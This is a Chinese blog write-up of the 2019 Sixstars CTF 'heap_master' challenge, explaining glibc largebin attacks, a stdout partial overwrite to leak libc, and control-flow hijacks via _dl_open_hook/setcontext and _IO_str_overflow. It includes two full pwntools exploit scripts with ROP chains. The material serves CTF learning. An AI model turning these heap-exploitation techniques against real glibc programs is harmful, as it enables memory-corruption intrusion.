fi3ework's Dairy.

2019-sixstarsCTF-heap_master

字数统计: 3k阅读时长: 19 min
2019/05/04 Share

题目限制了必须使用ROP来获得flag,所以学到了两种控制程序流的新姿势。

一个是利用malloc、free报错时执行 __libc_dlopen_mode 函数,该函数会将 _dl_open_hook 指针中的值存储在rax,然后call [rax],那么修改 _dl_open_hook 指针中的值,就会控制程序流。

另一个是利用程序执行exit()时,会调用文件流虚表函数中的 _IO_str_overflow函数,此时rbx、rdi均是指针 _IO_list_all 中的值,布置好数据,进而利用_IO_str_overflow函数中的gadget控制程序流。

0x00 程序分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

题目进行了chroot chroot --userspec=pwn:pwn ./ ./heap_master 所以不能通过system(/bin/sh)获得shell,只能通过ROP,调用open->read->write获得flag

1
2
3
4
5
=== Heap Master ===
1. Malloc
2. Edit
3. Free
>>

程序初始化会通过mmap在heap_base分配到0x10000大小的内存,heap_base是由随机数生成的

1
2
3
4
fd = open("/dev/urandom", 0);
read(fd, &heap_base, 8uLL);
heap_base = (void *)((unsigned int)heap_base & 0xFFFFF000);
mmap(heap_base, 0x10000uLL, 3, 34, -1, 0LL) != heap_base

程序有三个功能

1
2
3
4
5
6
7
8
void *add()
{
__int64 size; // ST08_8

printf("size: ");
size = read_num();
return malloc(size);
}

可以分配内存,但是程序没有保存分配堆后返回的指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int edit()
{
...
printf("offset: ");
v2 = read_num();
printf("size: ");
v3 = read_num();
if ( v2 > 0xFFFF || v3 > 0x10000 || v2 + v3 > 0x10000 )
return puts("Invaild input");
printf("content: ");
for ( i = 0; ; i += result )
{
result = i;
if ( i >= v3 )
break;
result = read(0, (char *)heap_base + v2, v3 - i);
if ( result < 0 )
break;
}
return result;
}

edit功能也只能对mmap分配的地址写

1
2
3
4
5
6
7
8
void delete()
{
...
printf("offset: ");
v0 = read_num();
if ( v0 <= 0xFFFF )
free((char *)heap_base + v0);
}

delete功能只能free掉mmap分配内存中的内容

0x01 利用分析

通过以上的分析,我们可以在heap_base上布置堆结构,调用程序的delete功能进行攻击

首先是泄露地址,然而程序没有输出功能

2018-hitcon-baby_tcache题目中程序也没有输出功能,但是可以通过控制文件流结构体的数据,我们仍能泄露一部分地址,那题是利用tcache的弱检测,将chunk分配到 _IO_2_1_stdout_ ,然后修改文件流的_flag、write_base等数据,程序调用puts等函数时,就会泄露地址。

这题没有tcache,所以不能通过分配chunk,达到修改文件流结构体数据的目的。

第一次largebin attack泄露libc

因为要修改 _IO_2_1_stdout_两次数据,一开始想用两次unsortedbin attack修改,后来发现&main_arena+88的地址不满足堆_flags的要求,所以这个方法行不通。

我们知道在glibc在从unsortedbin分配内存中,会从链尾向链头循环检索,如果不能分配出去,就会将chunk按大小分配到smallbin和largebin中。在将chunk插入largebin中,会发生一些列的链表操作。这里我们只关注当待插入unsortedbin chunk大于largebin chunk时,unsortedbin chunk当做对应大小表头的链表操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
else // 如果大于,则还需要修改nextsize
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else // 为空的情况
victim->fd_nextsize = victim->bk_nextsize = victim;
}
// 如果victim是smallbin或者是largebin但是对应链表为空的话,则将victim插入到该链表的第一个
// 总之是插入到bck与fwd之间
mark_bin (av, victim_index); // 首先标记对应链表不为空了
victim->bk = bck; // 将victim插入到链表,作为第一个bin
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

largebin attack就是利用这一部分代码

在largebin attack中,我们有两次任意地址写的机会,写的数据为待插入的unsortedbin chunk地址(0x56xxxx)
2018-0CTF-heapstorm2,我们使用largebin attack通过错位写,在一个0x13370800-0x8的低8位写入了0x56(因为64系统下,glibc只会取低8位的数据作为chunk size,高8位不会管),然后unsortedbin chunk的bk修改为0x13370800,就会顺利将chunk分配到0x13370800

而这题我们通过两次地址任意写,利用partial overwrite修改 smallbin head 的值,因为 _IO_2_1_stdout_ 的地址和 smallbin head 的地址只有低12位不同,partial overwrite16位,需要爆破4位。第一次修改 _IO_2_1_stdout__flags,第二次错位写,将 _IO_write_base 的低8位覆盖为\x00,这样程序调用类似puts的输出函数时时,就会泄露libc的地址。

第二次largebin attack控制程序流

下一步就是1、修改rsp,将栈空间改为可控内存区域,2、控制程序流

1、利用_dl_open_hook控制程序流

malloc、free报错时执行 __libc_dlopen_mode 函数,该函数会将 _dl_open_hook 指针中的值存储在rax,然后call [rax],那么修改 _dl_open_hook 指针中的值,就会控制程序流。

利用largbin attack将 __libc_dlopen_mode 修改为可控内存heap_base,考虑到下面的gadgets

1
2
.text:000000000006D98A                 mov     rdi, rax
.text:000000000006D98D call qword ptr [rax+20h]

我们可以控制rdi,还可以通过rax+0x20继续控制程序流,考虑下面的gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x7fae9ce44b75 <setcontext+53>:	mov    rsp,QWORD PTR [rdi+0xa0]
0x7fae9ce44b7c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7fae9ce44b83 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7fae9ce44b87 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7fae9ce44b8b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7fae9ce44b8f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7fae9ce44b93 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7fae9ce44b97 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7fae9ce44b9e <setcontext+94>: push rcx
0x7fae9ce44b9f <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7fae9ce44ba3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7fae9ce44baa <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7fae9ce44bb1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7fae9ce44bb5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7fae9ce44bb9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7fae9ce44bbd <setcontext+125>: xor eax,eax
0x7fae9ce44bbf <setcontext+127>: ret

通过rdi,进而控制rsp,其中有个push rcx,最后ret的是rcx中的值,因此还要通过mov rcx,QWORD PTR [rdi+0xa8]控制rcx来控制程序流
最后的ROP布局如下

1
2
3
4
5
6
7
8
9
rop = './flag'.ljust(8,'\x00')+p64(0)+p64(mmap_base)+p64(p_rsi_r)+p64(0)+p64(open_addr)
rop += p64(p_rdi_r)+p64(4)+p64(p_rdx_rsi_r)+p64(0x100)+p64(mmap_base+1337)+p64(read_addr)
rop += p64(p_rdi_r)+p64(1)+p64(p_rdx_rsi_r)+p64(0x100)+p64(mmap_base+1337)+p64(write_addr)

edit(0,rop)
edit(offset+0x360+0x540, p64(key_rax_gad))#p3
edit(offset+0x360+0x540+0xa0, p64(mmap_base + 0x10))
edit(offset+0x360+0x540+0xa8, p64(p_rdi_r))
edit(offset+0x360+0x540+0x20, p64(setcontext_53))

2、利用_IO_str_overflow控制程序流

程序执行exit()时,会调用文件流虚表函数中的 _IO_str_overflow函数,此时rbx、rdi均是指针 _IO_list_all 中的值。

利用largebin attack修改 _IO_list_all 中的值,rbx、rdi均是指针 _IO_list_all 中的值

观察_IO_str_overflow的执行过程

1
2
3
0x7f8c852a9cb8 <_IO_str_overflow+56> mov    rdx, QWORD PTR [rdi+0x28]
......
0x7f590a689d01 <_IO_str_overflow+129> call QWORD PTR [rbx+0xe0]

我们通过rdi修改rdx,使rdx = pop rsp ; pop r13 ; ret

通过修改rbx控制程序流,使rbx+0xe0 = pop rbx ; pop rbp ; jmp rdx

当执行pop rsp时,栈顶就是最初指针 _IO_list_all 的值,因此成功将栈劫持了。

0x03 EXP

1、利用_dl_open_hook控制程序流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import *
p = process('./heap_master')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

def q(addr =0):
gdb.attach(p)
log.info('addr: '+hex(addr))
raw_input('test')

def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))

def edit(off,cont):
p.sendlineafter('>> ','2')
p.sendlineafter('offset: ',str(off))
p.sendlineafter('size: ',str(len(cont)))
p.sendafter('content: ',cont)

def free(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))

offset = 0x8800-0x7A0
stdout = 0x2620

def pwn():
offset = 0x8800-0x7A0
stdout = 0x2620
edit(offset+8, p64(0x331)) #p1 offset+0x10
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x411)) #p2
edit(offset+8+0x360+0x410, p64(0x31))
edit(offset+8+0x360+0x440, p64(0x411)) #p3
edit(offset+8+0x360+0x440+0x410, p64(0x31))
edit(offset+8+0x360+0x440+0x440, p64(0x31))


free(offset+0x10)#p1
free(offset+0x10+0x360)#p2
add(0x90)#p2 => largebin

edit(offset+8+0x360, p64(0x101)+p64(0)+p64(0x101))#p2 size=>0x101
edit(offset+8+0x460, p64(0x101)+p64(0)+p64(0x101))
edit(offset+8+0x560, p64(0x101)+p64(0)+p64(0x101))

free(offset+0x10+0x370)
add(0x90)#last p1->small bin
free(offset+0x10+0x360)
add(0x90)

edit(offset+8+0x360, p64(0x401) + p64(0) + p16(stdout-0x10)) #p2->bk

edit(offset+8+0x360+0x18, p64(0) + p16(stdout+0x19-0x20)) #p2->bk_nextsize
free(offset+0x10+0x360+0x440) #p3
add(0x90)
p.recv(0x18)
libc_base = u64(p.recv(8))-libc.symbols['_IO_file_jumps']
log.info('libc_base:'+hex(libc_base))
system = libc_base + libc.symbols['system']
_dl_open_hook = libc_base + libc.symbols['_dl_open_hook']
heap_p3 = u64(p.recv(8))
mmap_base = heap_p3 - 0x8800
log.info('mmap_base:'+hex(mmap_base))


offset = 0x1000
edit(offset+8, p64(0x331)) #p1 offset+0x10
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x511)) #p2
edit(offset+8+0x360+0x510, p64(0x31))
edit(offset+8+0x360+0x540, p64(0x521)) #p3
edit(offset+8+0x360+0x540+0x520, p64(0x31))
edit(offset+8+0x360+0x540+0x550, p64(0x31))

free(offset+0x10)
free(offset+0x360+0x10)#p2
add(0x90)#p2 -> largebin
edit(offset+8+0x360, p64(0x511) + p64(0) + p64(_dl_open_hook-0x10) + p64(0) + p64(_dl_open_hook-0x20))
free(offset+0x360+0x540+0x10) #p3
add(0x90) #IO_list_all -> #p3_addr
q(libc_base)

key_rbx_gad = libc_base + 0x8959E #mov rdi, [rbx+48h] ; mov rsi, r13 ; call qword ptr [rbx+40h]
key_rax_gad = libc_base + 0x6D98A #mov rdi, rax ; call qword ptr [rax+20h]

setcontext_53 = libc_base + 0x47b40 + 53

p_rbx_rbp_j = libc_base + 0x000000000012d751 #pop rbx ; pop rbp ; jmp rdx
p_rsp_r13_r = libc_base + 0x00000000000206c3 #pop rsp ; pop r13 ; ret
p_rsp_r = libc_base + 0x0000000000003838 #pop rsp ; ret

p_rdi_r = libc_base + 0x0000000000021102 #pop rdi ; ret
p_rdx_rsi_r = libc_base + 0x00000000001150c9 #pop rdx ; pop rsi ; ret
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
p_rsi_r = libc_base + 0x00000000000202e8 #pop rsi ; ret


#open_read_write_rop
rop = './flag'.ljust(8,'\x00')+p64(0)+p64(mmap_base)+p64(p_rsi_r)+p64(0)+p64(open_addr)
rop += p64(p_rdi_r)+p64(4)+p64(p_rdx_rsi_r)+p64(0x100)+p64(mmap_base+1337)+p64(read_addr)
rop += p64(p_rdi_r)+p64(1)+p64(p_rdx_rsi_r)+p64(0x100)+p64(mmap_base+1337)+p64(write_addr)

edit(0,rop)
edit(offset+0x360+0x540, p64(key_rax_gad))#p3
edit(offset+0x360+0x540+0xa0, p64(mmap_base + 0x10))
edit(offset+0x360+0x540+0xa8, p64(p_rdi_r))
edit(offset+0x360+0x540+0x20, p64(setcontext_53))

free(0x10)
p.interactive()

while True:
try:
pwn()
break
except:
p.close()
p = process('./heap_master')

2、利用_IO_str_overflow控制程序流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *
p = process('./heap_master')
libc = ELF('./libc.so.6')
context.log_level = 'debug'

def q(addr =0):
gdb.attach(p)
log.info('addr: '+hex(addr))
raw_input('test')

def add(size):
p.sendlineafter('>> ', '1')
p.sendlineafter('size: ', str(size))

def edit(off,cont):
p.sendlineafter('>> ','2')
p.sendlineafter('offset: ',str(off))
p.sendlineafter('size: ',str(len(cont)))
p.sendafter('content: ',cont)

def free(off):
p.sendlineafter('>> ', '3')
p.sendlineafter('offset: ', str(off))

offset = 0x8800-0x7A0
stdout = 0x2620

def pwn():
offset = 0x8800-0x7A0
stdout = 0x2620
edit(offset+8, p64(0x331)) #p1 offset+0x10
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x411)) #p2
edit(offset+8+0x360+0x410, p64(0x31))
edit(offset+8+0x360+0x440, p64(0x411)) #p3
edit(offset+8+0x360+0x440+0x410, p64(0x31))
edit(offset+8+0x360+0x440+0x440, p64(0x31))


free(offset+0x10)#p1
free(offset+0x10+0x360)#p2
add(0x90)#p2 => largebin

edit(offset+8+0x360, p64(0x101)+p64(0)+p64(0x101))#p2 size=>0x101
edit(offset+8+0x460, p64(0x101)+p64(0)+p64(0x101))
edit(offset+8+0x560, p64(0x101)+p64(0)+p64(0x101))

free(offset+0x10+0x370)
add(0x90)#last p1->small bin
free(offset+0x10+0x360)
add(0x90)

edit(offset+8+0x360, p64(0x401) + p64(0) + p16(stdout-0x10)) #p2->bk

edit(offset+8+0x360+0x18, p64(0) + p16(stdout+0x19-0x20)) #p2->bk_nextsize
free(offset+0x10+0x360+0x440) #p3
add(0x90)
p.recv(0x18)
libc_base = u64(p.recv(8))-libc.symbols['_IO_file_jumps']
log.info('libc_base:'+hex(libc_base))
system = libc_base + libc.symbols['system']
_IO_list_all = libc_base + libc.symbols['_IO_list_all']
heap_p3 = u64(p.recv(8))
mmap_base = heap_p3 - 0x8800
log.info('mmap_base:'+hex(mmap_base))


offset = 0x1000
edit(offset+8, p64(0x331)) #p1 offset+0x10
edit(offset+8+0x330, p64(0x31))
edit(offset+8+0x360, p64(0x511)) #p2
edit(offset+8+0x360+0x510, p64(0x31))
edit(offset+8+0x360+0x540, p64(0x521)) #p3
edit(offset+8+0x360+0x540+0x520, p64(0x31))
edit(offset+8+0x360+0x540+0x550, p64(0x31))

free(offset+0x10)
free(offset+0x360+0x10)#p2
add(0x90)#p2 -> largebin
edit(offset+8+0x360, p64(0x511) + p64(0) + p64(_IO_list_all-0x10) + p64(0) + p64(_IO_list_all-0x20))
free(offset+0x360+0x540+0x10) #p3
add(0x90) #IO_list_all -> #p3_addr
#q(libc_base)

_IO_str_jumps = libc_base + 0x00000000003c36e0+0xc0
p_rbx_rbp_j = libc_base + 0x000000000012d751 #pop rbx ; pop rbp ; jmp rdx
p_rsp_r13_r = libc_base + 0x00000000000206c3 #pop rsp ; pop r13 ; ret
p_rsp_r = libc_base + 0x0000000000003838 #pop rsp ; ret

p_rdi_r = libc_base + 0x0000000000021102 #pop rdi ; ret
p_rdx_rsi_r = libc_base + 0x00000000001150c9 #pop rdx ; pop rsi ; ret
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
p_rsi_r = libc_base + 0x00000000000202e8 #pop rsi ; ret


#forge fake _IO_file_plus
#r13 rsp = mmap_base+8 ret mmap_base+8
fake_IO_strfile = p64(0) + p64(p_rsp_r) + p64(mmap_base+8) + p64(0) + p64(0) + p64(p_rsp_r13_r)

#open_read_write_rop
rop = './flag'.ljust(8,'\x00')+p64(p_rdi_r)+p64(mmap_base)+p64(p_rsi_r)+p64(0)+p64(open_addr)
rop += p64(p_rdi_r)+p64(3)+p64(p_rdx_rsi_r)+p64(0x100)+p64(mmap_base+1337)+p64(read_addr)
rop += p64(p_rdi_r)+p64(1)+p64(p_rdx_rsi_r)+p64(0x100)+p64(mmap_base+1337)+p64(write_addr)

edit(0,rop)
edit(offset+0x360+0x540, fake_IO_strfile)#p3
edit(offset+0x360+0x540+0xD8, p64(_IO_str_jumps))
edit(offset+0x360+0x540+0xE0, p64(p_rbx_rbp_j))

p.sendlineafter('>> ', '4')
p.interactive()

while True:
try:
pwn()
break
except:
p.close()
p = process('./heap_master')
1
2
3
.text:000000000007FD7D                 mov     rdi, [rbx+48h]
.text:000000000007FD81 mov rsi, r13
.text:000000000007FD84 call qword ptr [rbx+40h]
CATALOG
  1. 1. 0x00 程序分析
  2. 2. 0x01 利用分析
  3. 3. 第一次largebin attack泄露libc
  4. 4. 第二次largebin attack控制程序流
    1. 4.1. 1、利用_dl_open_hook控制程序流
    2. 4.2. 2、利用_IO_str_overflow控制程序流
  5. 5. 0x03 EXP
    1. 5.1. 1、利用_dl_open_hook控制程序流
    2. 5.2. 2、利用_IO_str_overflow控制程序流